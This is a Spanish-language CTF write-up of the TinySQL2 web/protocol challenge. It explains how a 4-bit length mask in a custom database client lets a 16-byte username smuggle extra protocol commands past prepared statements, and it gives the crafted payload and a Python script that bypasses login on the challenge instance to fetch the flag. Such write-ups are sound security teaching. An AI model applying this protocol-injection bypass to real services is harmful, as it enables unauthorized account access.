Skip to main content
Volver a writeups

Writeup técnico

TinySQL2 – Batman's Kitchen CTF

---

Batman's Kitchen CTF

Datos del reto

Campo Valor
CTF Batman's Kitchen CTF
Reto TinySQL2
Categoría Web / Protocol
Contexto "Surely you can't beat a prepared statement. DO NOT BRUTE FORCE THIS"
Flag bkctf{sql_1nj3ct10n_0ver_th3_w1re}

Descripción del reto

Este reto parecía una historia típica de login con prepared statements, pero el fallo no estaba en la consulta SQL. El problema real estaba un poco más abajo: en cómo el cliente codificaba los bind dentro del protocolo binario que usaba para hablar con el backend TinySQL.


Reconocimiento

La aplicación web era Flask y la flag terminaba en /forum/post/3, accesible solo con una sesión válida. Revisando el código, el login se hacía con algo como:

conn.prepare("S:?:?", (user, pass))

Eso descartaba una inyección SQL clásica. Tocaba mirar el servidor y el cliente TinySQL.

El protocolo era muy simple: cada mensaje llevaba un byte de tipo, un byte de longitud y luego los datos. Los comandos importantes eran:

Tipo Uso
p preparar statement
b enviar bind
x ejecutar

El flujo normal del login era:

  1. preparar S:?:?
  2. enviar user
  3. enviar pass
  4. ejecutar

Análisis

La pieza rota estaba en el cliente, dentro de la longitud de cada bind:

STMT_SIZE_MASK = 0x0F
barr.append(len(i) & self.STMT_SIZE_MASK)

Eso significa que la longitud real se recortaba a 4 bits. En la práctica, cualquier string de 16 bytes terminaba enviándose con longitud 0.

¿Qué pasaba entonces?

  • El servidor recibía el comando b.
  • Leía longitud 0.
  • No consumía ningún byte de los datos reales.
  • Los 16 bytes del username quedaban pendientes en el socket.

En la siguiente vuelta del loop, esos 16 bytes ya no se interpretaban como datos del usuario, sino como nuevos comandos del protocolo. Ahí estaba la vulnerabilidad: no era SQL injection, era una inyección en el protocolo.

Además, el servidor limpiaba binds cuando ya había 2 valores y llegaba otro bind, así que se podía manipular el estado interno para que al final el execute usara solo el valor que nos interesaba.


Resolución

La idea fue aprovechar esos 16 bytes del username para reconfigurar el flujo antes de que el backend procesara el password real.

La cadena usada fue esta:

username = "p\x03S:?b\x03ABCb\x01Db\x01E"
password = "0"

Ese bloque de 16 bytes hace lo siguiente:

  1. Re-prepara el statement como S:?, o sea, búsqueda por ID y ya no por usuario/contraseña.
  2. Mete varios bind de relleno para dejar el array interno en un estado controlado.
  3. Cuando llega el password legítimo, el servidor limpia los binds anteriores y se queda con ["0"].

Al ejecutar, TinySQL interpreta ese 0 como userId, devuelve el registro del usuario correspondiente y la aplicación web crea la sesión.

Con la sesión activa, solo quedaba pedir el post con la flag:

import re
import requests

TARGET = "https://tinysql-2-dbec1607401161a1.instancer.batmans.kitchen"

session = requests.Session()
session.post(
    f"{TARGET}/login",
    data={
        "user": "p\x03S:?b\x03ABCb\x01Db\x01E",
        "pass": "0",
    },
    allow_redirects=False,
)

resp = session.get(f"{TARGET}/forum/post/3")
print(re.search(r"bkctf\\{[^}]+\\}", resp.text).group(0))

Con eso el login entraba como un usuario válido y la flag aparecía en la respuesta del foro.


Flag

bkctf{sql_1nj3ct10n_0ver_th3_w1re}